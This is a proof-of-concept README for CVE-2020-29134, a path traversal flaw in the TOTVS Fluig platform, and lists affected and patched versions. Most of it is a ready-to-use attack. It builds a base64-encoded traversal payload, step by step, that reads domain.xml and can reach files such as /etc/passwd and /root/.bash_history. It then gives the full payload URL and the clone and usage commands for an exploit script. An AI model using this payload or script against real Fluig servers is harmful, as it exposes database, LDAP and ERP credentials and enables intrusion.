Totvs Fluig Platform

 Fluig is the productivity and collaboration platform that integrates with the ERP system,
 and your company's other systems to revolutionize the way you and your team work.

CVE-2020-29134

 The TOTVS Fluig platform allows path traversal via parameter encoded in base64.
 When exploited, this vulnerability allows the reading of sensitive XML files, which contain
 data to access the database and, in some cases, LDAP connections and ERP system integrations.
 In addition, it is also possible to explore system files, such as /etc/passwd and /root/.bash_history

Versions affecteds

--
<== Fluig Lake 1.7.0
<== Fluig 1.6.5
<== Fluig 1.6.4
...

Patched versions

<== Fluig Lake 1.7.0-210303 (Patched)
<== Fluig 1.6.5-210308 (Patched)
<== Fluig 1.6.4-210308 (Patched)

Building Payload

Attack Vector

 http://fluig.host.com/volume/stream/Rmx1aWc=/

Path traversal plain text

 ?t=1&vol=Default&id=1&ver=1000&file=../../../../../../../../../../../../../fluig/appserver/domain/configuration/domain.xml

Path traversal encoded base64

 P3Q9MSZ2b2w9RGVmYXVsdCZpZD0xJnZlcj0xMDAwJmZpbGU9Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZmx1aWcvYXBwc2VydmVyL2RvbWFpbi9jb25maWd1cmF0aW9uL2RvbWFpbi54bWw=

Payload

 http://HOST.FLUIG.COM/volume/stream/Rmx1aWc=/P3Q9MSZ2b2w9RGVmYXVsdCZpZD0xJnZlcj0xMDAwJmZpbGU9Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZmx1aWcvYXBwc2VydmVyL2RvbWFpbi9jb25maWd1cmF0aW9uL2RvbWFpbi54bWw=

Exploit-DB reference

 https://www.exploit-db.com/exploits/49622

Clone Repository

 # git clone https://github.com/lucxssouza/CVE-2020-29134.git
 # cd CVE-2020-29134
 # chmod +x xfluig.sh

Usage

 Ex1: ./xfluig.sh http://fluig.host.com REQUESTS_WFUZZ (number of requests generated by wfuzz)

 Ex2: ./xfluig.sh http://fluig.host.com:PORT